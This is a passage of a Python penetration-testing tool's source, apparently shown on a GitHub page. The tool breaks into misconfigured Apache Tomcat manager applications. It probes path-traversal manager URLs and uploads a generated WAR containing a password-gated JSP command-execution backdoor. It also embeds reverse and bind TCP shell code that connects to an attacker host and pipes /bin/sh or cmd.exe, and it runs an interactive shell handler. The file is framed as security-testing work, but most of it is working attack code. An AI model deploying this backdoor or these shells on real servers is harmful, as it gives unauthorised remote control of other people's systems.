-
-
Notifications
You must be signed in to change notification settings - Fork 130
/
Copy pathtomcatWarDeployer.py
executable file
·1225 lines (1034 loc) · 43.7 KB
/
tomcatWarDeployer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
#
# Apache Tomcat server misconfiguration penetration testing tool.
# What this tool does is to locate Tomcat server, validate access
# to it's manager application (web) and then leverage this access
# in order to upload there an automatically generated WAR application.
# After having the application uploaded and deployed, script invokes it
# and then if configured so - handles incoming shell connection (reverse tcp)
# or connects back to binded shell socket.
#
# In other words - automatic Tomcat WAR deployment pwning tool.
#
# NOTICE:
# Shell providing functionality (bind&reverse) comes from the Rapid7 Metasploit-Framework,
# which in turn was based on the code coming from: http://www.security.org.sg/code/jspreverse.html.
# In order to refer to the original source, please look at the Metasploit core lib.
# On Linux instances the file can be found at:
# /usr/share/metasploit-framework/lib/msf/core/payload/jsp.rb
#
# Mariusz Banach / MGeeky, '16-19
#
import re
import os
import sys
import ssl
import time
import random
import string
import shutil
import base64
import socket
import urllib.request, urllib.parse, urllib.error
import urllib.request, urllib.error, urllib.parse
import logging
import optparse
import tempfile
import mechanize
import threading
import subprocess
VERSION = '0.5.2'
RECVSIZE = 8192
SHELLEVENT = threading.Event()
SHELLSTATUS = threading.Event()
SHELLTHREADQUIT = False
PROTO = 'http'
TOMCAT_VERSION = ''
COOKIE_JAR = None
INVOKE_URL = ''
MANAGER_URL = ''
INSERT_JSESSIONID = ''
# Logger configuration
logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.INFO)
logging.addLevelName(
logging.DEBUG, "\033[1;32m%s\033[1;0m" % logging.getLevelName(logging.DEBUG))
logging.addLevelName(
logging.WARNING, "\033[1;35m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
logging.addLevelName(
logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
logger = logging.getLogger()
ssl._create_default_https_context = ssl._create_unverified_context
class MissingDependencyError(Exception):
pass
def recvall(sock):
res = sock.recv(RECVSIZE)
sock.settimeout(1.0)
try:
chunk = ''
while True:
chunk = sock.recv(1)
if not chunk: break
res += chunk
except:
pass
sock.settimeout(None)
return res
def webPathJoin(_dir, _file):
if _file.startswith('/'):
return webPathJoin(_dir, _file[1:])
elif _dir.endswith('/'):
return webPathJoin(_dir[:-1], _file)
return _dir + '/' + _file
def execcmd(cmd):
try:
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).strip()
except subprocess.CalledProcessError as e:
if cmd.startswith('tree'):
logger.debug('Tree command not available. Skipping.')
else:
logger.error("Executing '%s' returned: '%s'" % (cmd, str(e)))
return ""
def issueCommand(sock, cmd, isWindows, path = ''):
if isWindows:
cmd = cmd + '\r\n'
else:
cmd = cmd + '\n'
sock.send(cmd)
res = recvall(sock).strip()
if isWindows:
res = res.replace(cmd, '')
lines = res.split('\r\n')
if len(lines) > 2 and lines[-2].strip() == '' \
and re.match(r'[A-Z]\:(?:\\[^>]+)>', lines[-1]):
res = '\r\n'.join(lines[:-2])
lines = res.split('\r\n')
if lines[-1].strip() == path:
res = '\r\n'.join(lines[:-1]).strip()
return res
def shellLoop(sock, host):
isWindows = False
initialRecv = ''
path = ''
try:
try:
sock.settimeout(1.0)
initialRecv = recvall(sock)
sock.settimeout(None)
except:
pass
if 'Microsoft Windows [Version' in initialRecv:
lines = initialRecv.split('\r\n')
path = lines[-1]
isWindows = True
whoami = issueCommand(sock, 'whoami', isWindows, path)
hostname = issueCommand(sock, 'hostname', isWindows, path)
except (socket.gaierror, socket.error) as e:
logger.error(
"Initial commands could not be executed. Something is wrong.\n\tError: '%s'" % e)
return False
logger.info('Connected with: %s@%s' % (whoami, hostname))
sock.settimeout(0)
sock.setblocking(1)
SHELLSTATUS.set()
if len(whoami) == 0:
whoami = 'tomcat'
if len(hostname) == 0:
hostname = host
prompt = "\n%s@%s $ " % (whoami, hostname)
if isWindows:
prompt = "\r\n%s " % path
prompt = "\033[0;34m%s\033[1;0m" % prompt
try:
while True:
command = input(prompt)
if not command:
continue
if command.lower() == 'exit' or command.lower() == 'quit':
break
res = issueCommand(sock, command, isWindows, path)
if not len(res) and len(command):
if sock:
sock.close()
break
print(res)
except KeyboardInterrupt:
SHELLSTATUS.clear()
# Pass it down to the main function's except block.
raise KeyboardInterrupt
def shellHandler(mode, hostn, opts):
logger.debug('Spawned shell handling thread. Awaiting for the event...')
time.sleep(int(opts.timeout) / 10)
portpos = hostn.find(':')
host = extractHostAddress(hostn, opts.url)
if portpos != -1:
host = host[:portpos]
sock = None
serv = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(int(opts.timeout))
except socket.error as e:
logger.error("Creating socket for bind-shell client failed: '%s'" % e)
return False
if mode == 0:
logger.error("Neither reverse nor bind mode occured, out of blue.")
sock.close()
return False
elif mode == 1:
serv = sock
sock = establishReverseTcpListener(serv, host, opts)
if not sock:
logger.error("Could not establish local TCP listener.")
serv.close()
return False
else:
sock.setblocking(1)
elif mode == 2:
if not connectToBindShell(sock, host, opts):
logger.error("Could not connect to remote bind-shell.")
sock.close()
return False
shellLoop(sock, host)
sock.close()
if serv:
serv.close()
SHELLSTATUS.clear()
return True
def establishReverseTcpListener(sock, host, opts):
logger.debug('Establishing listener for incoming reverse TCP shell at %s:%s' % (
opts.host, opts.port))
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
sock.bind((opts.host, int(opts.port)))
except (socket.gaierror, socket.error) as e:
logger.error("Establishing local listener failed.\n\tError: '%s'" % e)
return False
logger.debug('Socket is binded to local port now, awaiting for clients...')
SHELLEVENT.set()
sock.listen(2)
try:
conn, addr = sock.accept()
logger.debug("Incoming client: %s:%s" % (addr[0], addr[1]))
except (socket.gaierror, socket.error) as e:
logger.error(
"Remote host did not connected to our handler. Connection failure.")
return False
return conn
def connectToBindShell(sock, host, opts):
SHELLEVENT.wait()
logger.debug(
'Shell is to be binded to %s:%s. Connecting back to it...' % (host, opts.port))
retries = 3
status = False
for retry in range(retries):
try:
sock.connect((host, int(opts.port)))
status = True
break
except (socket.gaierror, socket.error) as e:
logger.warning(
"Retry %d/%d: Connecting to the bind-shell failed.\n\tError: '%s'" % ((retry + 1), retries, e))
time.sleep(1)
if not status:
logger.error(
'Connection failed. Quitting due to inability to connect back to bind shell.')
return False
return True
def generateWAR(code, title, appname):
dirpath = tempfile.mkdtemp()
logger.debug('Generating temporary structure for %s WAR at: "%s"' %
(appname, dirpath))
os.makedirs(dirpath + '/files/META-INF')
os.makedirs(dirpath + '/files/WEB-INF')
with open(dirpath + '/index.jsp', 'w') as f:
f.write(code)
javaver = execcmd('java -version')
m = re.search('version "([^"]+)"', javaver, re.M|re.I)
if m:
javaver = m.group(1)
logger.debug('Working with Java at version: %s' % javaver)
else:
logger.debug('Could not retrieve Java version. Assuming: "1.8.0_60"')
javaver = '1.8.0_60'
with open(dirpath + '/files/META-INF/MANIFEST.MF', 'w') as f:
f.write('''Manifest-Version: 1.0
Created-By: %s (Sun Microsystems Inc.)
''' % javaver)
logger.debug('Generating web.xml with servlet-name: "%s"' % title)
with open(dirpath + '/files/WEB-INF/web.xml', 'w') as f:
f.write('''<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<display-name>%s</display-name>
<servlet>
<servlet-name>%s</servlet-name>
</servlet>
<servlet-mapping>
<servlet-name>%s</servlet-name>
<url-pattern>/%s</url-pattern>
</servlet-mapping>
</web-app>
''' % (title, appname.capitalize(), appname.capitalize(), appname))
cwd = os.getcwd()
os.chdir(dirpath)
outpath = tempfile.gettempdir() + '/' + appname + '.war'
logger.debug('Generating WAR file at: "%s"' % outpath)
packing = None
jarpath = None
# fastjar is an archlinux equivalent.
jarlocs = ['/bin/jar', '/usr/bin/jar', '/bin/fastjar']
for l in jarlocs:
if os.path.exists(l):
jarpath = l
if not jarpath:
# In order to avoid using `which` command which may not be available
# on every system, we are going to iterate through PATH
target = 'jar'
for path in os.environ['PATH'].split(os.pathsep):
if os.path.exists(os.path.join(path, target)):
jarpath = os.path.join(path, target)
# Try last resort effort to find either jar:
for cmd in ('where', 'whereis', 'locate'):
fullcmd = cmd + ' jar'
wherejar = execcmd(fullcmd)
logger.debug('Trying really hard to find "jar": Command [%s] yielded: "%s"' % (fullcmd, wherejar))
if wherejar and os.path.exists(wherejar):
jarpath = wherejar
logger.debug('I think I\'ve found jar at: "%s"' % jarpath)
break
if not jarpath:
logger.debug('jar or fastjar command not found')
raise MissingDependencyError
packing = execcmd('"%s" -cvf %s *' % (jarpath, outpath))
os.chdir(cwd)
logger.debug(packing)
tree = execcmd('tree %s' % dirpath)
if not ('sh' in tree and 'tree: not found' in tree):
logger.debug('WAR file structure:')
logger.debug(tree)
return (dirpath, outpath)
def chooseShellFunctionality(opts):
host = opts.host
port = opts.port
if host and port:
# Reverse TCP
return 1
elif port and not host:
# Bind shell
return 2
else:
return 0
def prepareTcpShellCode(opts):
host = opts.host
port = opts.port
socketInvocation = ''
mode = chooseShellFunctionality(opts)
if mode == 1:
# Reverse TCP
socketInvocation = '''
/* Reverse shell */
Socket socket = new Socket( "%(host)s", %(port)s );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
''' % {'host' : host, 'port': port }
logger.debug('Preparing additional code for Reverse TCP shell')
elif mode == 2:
# Bind shell
socketInvocation = '''
/* Bind shell */
ServerSocket server_socket = new ServerSocket( %(port)s );
Socket client_socket = server_socket.accept();
server_socket.close();
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
''' % {'port': port }
logger.debug('Preparing additional code for bind TCP shell')
else:
logger.debug('No additional code for shell functionality requested.')
return ''
payload = '''
<%%
class StreamConnector extends Thread {
InputStream ins;
OutputStream outs;
StreamConnector( InputStream ins, OutputStream outs ) {
this.ins = ins;
this.outs = outs;
}
public void run() {
BufferedReader bufin = null;
BufferedWriter bufout = null;
try {
bufin = new BufferedReader( new InputStreamReader( this.ins ) );
bufout = new BufferedWriter( new OutputStreamWriter( this.outs ) );
char buffer[] = new char[8192];
int length;
while( ( length = bufin.read( buffer, 0, buffer.length ) ) > 0 ) {
bufout.write( buffer, 0, length );
bufout.flush();
}
} catch( Exception e ){}
try {
if( bufin != null )
bufin.close();
if( bufout != null )
bufout.close();
} catch( Exception e ){}
}
}
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
%(socketInvocation)s
} catch( Exception e ) {}
%%>''' % {'socketInvocation': socketInvocation}
return payload
def preparePayload(opts):
logger.debug('Generating JSP WAR backdoor code...')
shellFunc = ''
if chooseShellFunctionality(opts) > 0:
shellFunc = '''
<%%
if( request.getHeader("X-Pass") != null && request.getHeader("X-Pass").equals("%(password)s")) {
%%>
%(shell)s
<%%
}
%%>
''' % {'password' : opts.shellpass, 'shell': prepareTcpShellCode(opts)}
payload = '''<%%@page import="java.lang.*"%%>
<%%@page import="java.util.*"%%>
<%%@page import="java.io.*"%%>
<%%@page import="java.net.*"%%>
<%%!
public String execute(String pass, String cmd) {
final String hardcodedPass = "%(password)s";
StringBuilder res = new StringBuilder();
if (cmd != null && cmd.length() > 0 && (pass.equals(hardcodedPass) || hardcodedPass.toLowerCase().equals("none"))){
try {
Process proc = Runtime.getRuntime().exec(cmd);
OutputStream outs = proc.getOutputStream();
InputStream ins = proc.getInputStream();
DataInputStream datains = new DataInputStream(ins);
String datainsline = datains.readLine();
while ( datainsline != null) {
res.append(datainsline + "<br/>");
datainsline = datains.readLine();
}
} catch( IOException e) {
return "IOException: " + e.getMessage();
}
}
else {
return "Wrong password or no command issued.";
}
String out = res.toString();
if (out != null && out.length() > 5 && out.indexOf("<br/>") != -1) {
out = out.substring(0, out.length() - 5);
}
return out;
}
%%><!DOCTYPE html>
<html>
<head>
<title>JSP Application</title>
</head>
<body>
<h3>JSP Backdoor deployed as WAR on Apache Tomcat.</h3>
<i style="font-size:9px">You need to provide valid password in order to leverage RCE.</i>
<br/>
<font style="font-size:5px" style="font-style:italic;color:grey">coded by <a href="https://github.com/mgeeky">mgeeky</a></font>
<br/>
<hr/>
<form method=post>
<table style="width:100%%">
<tr>
<td>OS:</td><td style="width:100%%">
<%% out.print(System.getProperty("os.name")); %%>
</td>
</tr>
<tr>
<td><b style="color:red">Password:</b></td><td style="width:100%%"><input type=password width=40 name="password" value='<%% out.print((request.getParameter("password") != null) ? request.getParameter("password") : ""); %%>' /></td>
</tr>
<tr>
<td><b style="color:blue"><%% out.print(execute("%(password)s", "whoami") + "@" + execute("%(password)s", "hostname"));%%></b></td><td style="width:100%%"><input type=text size=100 name="cmd" value='<%% out.print((request.getParameter("cmd") != null) ? request.getParameter("cmd") : "uname -a"); %%>' onClick="this.select();" onkeydown="if (event.keyCode == 13) { this.form.submit(); return false; }" /></td>
</tr>
<tr>
<td><input type=submit style="position:absolute;left:-9999px;width:1px;height:1px;" tabindex="-1"/></td><td></td>
</tr>
</table>
</form>
<hr />
<pre style="background-color:black;color:lightgreen;padding: 5px 25px 25px 25px;"><%%
if (request.getParameter("cmd") != null && request.getParameter("password") != null) {
out.println("<br/>tomcat $ " + request.getParameter("cmd") + "<br/>");
out.println(execute(request.getParameter("password"), request.getParameter("cmd")));
}
%%></pre>
%(shellPayload)s
</body>
</html>''' % {'title': opts.title, 'password': opts.shellpass, 'shellPayload': shellFunc }
return payload
def invokeApplication(browser, url, opts):
appurl = webPathJoin(url, opts.appname) + '/'
logger.debug('Invoking application at url: "%s"' % appurl)
host = url[:url.find(':')] if url.find(':') != -1 else url
if '://' in host:
host = host[host.find('://') + 3:]
if '/' in host:
host = host[:host.find('/')]
try:
mode = chooseShellFunctionality(opts)
if opts.shellpass and mode > 0:
logger.debug(
"Adding 'X-Pass: %s' header for shell functionality authentication." % opts.shellpass)
browser.addheaders.append(('X-Pass', opts.shellpass))
if opts.noconnect:
if mode == 0:
logger.warning(
"Connect back to your shell at: %s:%s" % (u, opts.port))
elif mode == 1:
logger.warning("Set up your incoming shell listener, I'm giving you %d seconds." % (
int(opts.timeout) / 2))
time.sleep(int(opts.timeout) / 2)
elif mode == 2:
logger.warning(
"Shell has been binded. Go and connect back to it!")
logger.warning("How about: \t$ nc %s %s" % (host, opts.port))
elif not opts.noconnect and mode == 2:
SHELLEVENT.set()
resp = browser.open(appurl)
src = resp.read()
if 'JSP Backdoor deployed as WAR on Apache Tomcat.' in src:
logger.debug('Application invoked correctly.')
return True
else:
logger.warning('Could not correctly invoke the application!')
return False
except urllib.error.HTTPError as e:
if e.code == 404:
logger.error(
'Application "%s" does not exist, or was not deployed.' % opts.appname)
else:
logger.error('Failed with error: %d, msg: "%s"' %
(int(e.code), str(e)))
return False
def deployApplication(browser, url, appname, warpath, modify_action=False, addJsessionId=False):
global INSERT_JSESSIONID
if not modify_action:
logger.debug('Deploying application: %s from file: "%s"' %
(appname, warpath))
resp = browser.open(url)
for form in browser.forms():
action = urllib.parse.unquote_plus(form.action)
action_function = ('/upload' in action)
if not modify_action:
action_url = url in action
else:
action_url = url[:url.find('/', url.find('://') + 3)] in action
if action_url and action_function:
browser.form = form
if modify_action:
logger.debug(
'Adjusting upload form action to conform custom manager\'s URL')
upload = action[action.find('/upload') + 1:]
browser.form.action = webPathJoin(url, upload)
if addJsessionId:
for c in COOKIE_JAR:
if c.name.lower() == 'jsessionid':
p = webPathJoin(url, upload)
browser.form.action = p.replace('/upload', '/upload;jsessionid={}'.format(c.value))
INSERT_JSESSIONID = 'jsessionid={}'.format(c.value)
break
browser.form.add_file(open(warpath, 'rb'),
'application/octet-stream', appname + '.war')
try:
browser.submit()
except mechanize.HTTPError as e:
if '403: Forbidden' in str(e):
logger.warning('Tomcat prevented us from deploying WAR with 403 Forbidden')
major = 0
try:
major = int(TOMCAT_VERSION[0])
except: pass
if major >= 7:
logger.warning('Tomcat 7+ requires providing CSRF token and JSESSIONID.')
if not addJsessionId:
return deployApplication(browser, url, appname, warpath, modify_action, True)
#return checkIsDeployed(browser, url, appname)
return True
if not modify_action:
logger.debug(
'Could not locate proper upload form. Will try adjusting form action.')
return deployApplication(browser, url, appname, warpath, True)
return False
def removeApplication(browser, url, appname):
browser.open(url)
for form in browser.forms():
action = urllib.parse.unquote_plus(form.action)
if url in action and '/undeploy?path=/' + appname in action:
browser.form = form
if INSERT_JSESSIONID:
browser.form.action = browser.form.action.replace('/undeploy?', '/undeploy;{}?'.format(INSERT_JSESSIONID))
browser.submit()
return True
return False
def checkIsDeployed(browser, url, appname):
logger.debug("Checking if app {} is deployed at: {}".format(appname, url))
browser.open(url)
for form in browser.forms():
action = urllib.parse.unquote_plus(form.action)
appnameenc = urllib.parse.quote_plus(appname)
appundeploy = '/undeploy?path=/' + appnameenc
precondition = url in action
if '%252e%252e/' in url:
precondition = True
if precondition and (appundeploy in action or
('/undeploy' in action and 'path=' in action and appnameenc in action)):
return True
if INSERT_JSESSIONID:
appundeploy = '/undeploy;{}?path=/{}'.format(INSERT_JSESSIONID, appnameenc)
if precondition and (appundeploy in action or
('/undeploy' in action and 'path=' in action and appnameenc in action)):
return True
logger.debug("App not deployed.")
return False
def unloadApplication(browser, url, appname, addJsessionId = False):
global INSERT_JSESSIONID
if INVOKE_URL != url:
url = INVOKE_URL
appurl = '%s://%s/%s/' % (PROTO, url, appname)
logger.debug('Unloading application: "%s"' % appurl)
browser.open(MANAGER_URL)
for form in browser.forms():
action = urllib.parse.unquote_plus(form.action)
appnameenc = urllib.parse.quote_plus(appname)
appundeploy = '/undeploy?path=/' + appnameenc
precondition = url in action
if '%252e%252e/' in url:
precondition = True
if precondition and (appundeploy in action or
('/undeploy' in action and 'path=' in action and appnameenc in action)):
browser.form = form
if MANAGER_URL not in form.action:
new_action = '{}{}'.format(MANAGER_URL, form.action[form.action.index('/undeploy'):])
elif INSERT_JSESSIONID:
new_action = new_action.replace('/undeploy?', '/undeploy;{}?'.format(INSERT_JSESSIONID))
else:
new_action = form.action
browser.form.action = new_action
if addJsessionId:
try:
resp = browser.submit()
except urllib.error.HTTPError as e:
logger.error('Unloading application failed with code: {}. Try changing appname with "--name" option to overcome this problem.'.format(e.code))
sys.exit(0)
else:
try:
resp = browser.submit()
except urllib.error.HTTPError as e:
if e.code == 403 and not addJsessionId:
for c in COOKIE_JAR:
if c.name.lower() == 'jsessionid':
INSERT_JSESSIONID = 'jsessionid={}'.format(c.value)
return unloadApplication(browser, url, appname, addJsessionId = True)
content = resp.read()
try:
resp = browser.open(appurl)
except urllib.error.URLError as e:
return True
except urllib.error.HTTPError as e:
if e.code == 404:
return True
return False
def validateManagerApplication(browser):
found = 0
actions = ('stop', 'start', 'deploy', 'undeploy',
'upload', 'expire', 'reload')
for form in browser.forms():
for a in actions:
action = urllib.parse.unquote_plus(form.action)
if '/' + a + '?' in action or '/' + a + ';' in action:
found += 1
if found > 0:
return (found >= len(actions) - 2)
# Maybe dealing with Tomcat/5.x which had links in <A> ?
for link in browser.links():
for a in actions:
action = urllib.parse.unquote_plus(str(link))
if '/' + a + '?' in action or '/' + a + ';' in action:
found += 1
if found > 0:
logger.debug('Fallback strategy shown we might be dealing with Tomcat 5')
return (found >= len(actions) - 2)
return False
def constructBaseUrl(host, url):
host = host if host.startswith('http') else PROTO + '://' + host
uri = url[1:] if url.startswith('/') else url
baseurl = webPathJoin(host, uri)
if INVOKE_URL and INVOKE_URL != baseurl: return INVOKE_URL
return baseurl
def extractHostAddress(hostn, url):
host = constructBaseUrl(hostn, url)
host = host[host.find('://') + 3:]
host = host[:host.find('/')]
return host
def browseToManager(host, url, user, password):
global COOKIE_JAR
global TOMCAT_VERSION
global INVOKE_URL
global MANAGER_URL
error = None
retry = False
page = None
baseurl = constructBaseUrl(host, url)
managerurl = ''
tomcat_suffixes = [
'',
'manager',
'manager/html'
# CVE-2007-1860
'%252e%252e/manager',
'%252e%252e/%252e%252e/manager',
'%252e%252e/%252e%252e/%252e%252e/manager',
'%252e%252e/%252e%252e/%252e%252e/%252e%252e/manager',
'%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/manager',
'%252e%252e/manager/html',
'%252e%252e/%252e%252e/manager/html',
'%252e%252e/%252e%252e/%252e%252e/manager/html',
'%252e%252e/%252e%252e/%252e%252e/%252e%252e/manager/html',
'%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/manager/html',
]
error = None
reached = False
logger.debug('Trying Creds: ["%s:%s"]:\n\tBrowsing to "%s"...' %
(user, password, baseurl))
browser = mechanize.Browser()
cookiejar = mechanize.LWPCookieJar()
COOKIE_JAR = cookiejar
browser.set_cookiejar(cookiejar)
browser.set_handle_robots(False)
once = True
for suffix in tomcat_suffixes:
try:
managerurl = webPathJoin(baseurl, suffix)
logger.debug('Trying to fetch: "%s"' % managerurl)
browser.add_password(managerurl, user, password)
page = browser.open(managerurl)
data = page.read()
m = re.search('Apache Tomcat/([^<]+)', data)
if m:
logger.debug('Probably found something: Apache Tomcat/%s' % m.group(1))
tomcatVersion = m.group(1)
TOMCAT_VERSION = tomcatVersion
if validateManagerApplication(browser) and tomcatVersion:
logger.info(
'Apache Tomcat/%s Manager Application reached & validated.' % (tomcatVersion))
logger.info('\tAt: "{}"'.format(managerurl))
INVOKE_URL = managerurl.replace('/manager/html','').replace('/manager','')
MANAGER_URL = managerurl
reached = True
break
except urllib.error.URLError as e:
error = str(e)
if 'Connection refused' in error:
logger.warning(
'Could not connect with "%s", connection refused.' % managerurl)
elif 'Error 401' in error or '403' in error:
logger.warning(
'Invalid credentials supplied for Apache Tomcat.')
return 403, 403
elif once:
once = False
logger.warning(
'Browsing to the manager (%s) failed: \n\t%s' % (baseurl, e))
if ':' not in baseurl[baseurl.find('://') + 3:]:
logger.warning(
'Did you forgot to specify service port in the host argument (host:port)?')
if not reached:
logger.error(
'Specified URL does not point at the Apache Tomcat Manager Application')
return None, None
return browser, managerurl
def generateRandomPassword(N=12):
return ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(N))
def options():
version_banner = 'tomcatWarDeployer (v. %s)' % VERSION
usage = '%prog [options] server\n\n server\t\tSpecifies server address. Please also include port after colon. May start with http:// or https://'
parser = optparse.OptionParser(usage=usage)
general = optparse.OptionGroup(parser, 'General options')
general.add_option('-V', '--version', dest='version',
help='Version information.', action='store_true')
general.add_option('-v', '--verbose', dest='verbose',
help='Verbose mode.', action='store_true')
general.add_option('-s', '--simulate', dest='simulate',
help='Simulate breach only, do not perform any offensive actions.', action='store_true')
general.add_option('-G', '--generate', metavar='OUTFILE', dest='generate',
help='Generate JSP backdoor only and put it into specified outfile path then exit. Do not perform any connections, scannings, deployment and so on.')
general.add_option('-U', '--user', metavar='USER', dest='user', default='',
help='Tomcat Manager Web Application HTTP Auth username. Default=<none>, will try various pairs.')
general.add_option('-P', '--pass', metavar='PASS', dest='password', default='',
help='Tomcat Manager Web Application HTTP Auth password. Default=<none>, will try various pairs.')
parser.add_option_group(general)
conn = optparse.OptionGroup(parser, 'Connection options')
conn.add_option('-H', '--host', metavar='RHOST', dest='host',
help='Remote host for reverse tcp payload connection. When specified, RPORT must be specified too. Otherwise, bind tcp payload will be deployed listening on 0.0.0.0')
conn.add_option('-p', '--port', metavar='PORT', dest='port',
help='Remote port for the reverse tcp payload when used with RHOST or Local port if no RHOST specified thus acting as a Bind shell endpoint.')
conn.add_option('-u', '--url', metavar='URL', dest='url', default='',
help='Apache Tomcat management console URL. Default: empty')
conn.add_option('-t', '--timeout', metavar='TIMEOUT', dest='timeout', default='10',
help='Speciifed timeout parameter for socket object and other timing holdups. Default: 10')
parser.add_option_group(conn)
payload = optparse.OptionGroup(parser, 'Payload options')
payload.add_option('-R', '--remove', metavar='APPNAME', default=False, action='store_true', dest='remove_appname',
help='Remove deployed app with specified name. Can be used for post-assessment cleaning')
payload.add_option('-X', '--shellpass', metavar='PASSWORD', dest='shellpass',
help='Specifies authentication password for uploaded shell, to prevent unauthenticated usage. Default: randomly generated. Specify "None" to leave the shell unauthenticated.', default=generateRandomPassword())
payload.add_option('-T', '--title', metavar='TITLE', dest='title',
help='Specifies head>title for uploaded JSP WAR payload. Default: "JSP Application"', default='JSP Application')
payload.add_option('-n', '--name', metavar='APPNAME', dest='appname',
help='Specifies JSP application name. Default: "jsp_app"', default='jsp_app')
payload.add_option('-x', '--unload', dest='unload',
help='Unload existing JSP Application with the same name. Default: no.', action='store_true', default=False)
payload.add_option('-C', '--noconnect', dest='noconnect',
help='Do not connect to the spawned shell immediately. By default this program will connect to the spawned shell, specifying this option let\'s you use other handlers like Metasploit, NetCat and so on.', action='store_true', default=False)
payload.add_option('-f', '--file', metavar='WARFILE', dest='file',
help='Custom WAR file to deploy. By default the script will generate own WAR file on-the-fly.')
parser.add_option_group(payload)
opts, args = parser.parse_args()
if opts.version:
print(version_banner)
sys.exit(0)
print('''
%s
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16-18
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
''' % version_banner)
if opts.port:
try:
port = int(opts.port)
if port < 0 or port > 65535:
raise ValueError
except ValueError:
logger.error('RPORT must be an integer in range 0-65535')
sys.exit(0)
if (opts.host and not opts.port):
logger.error(
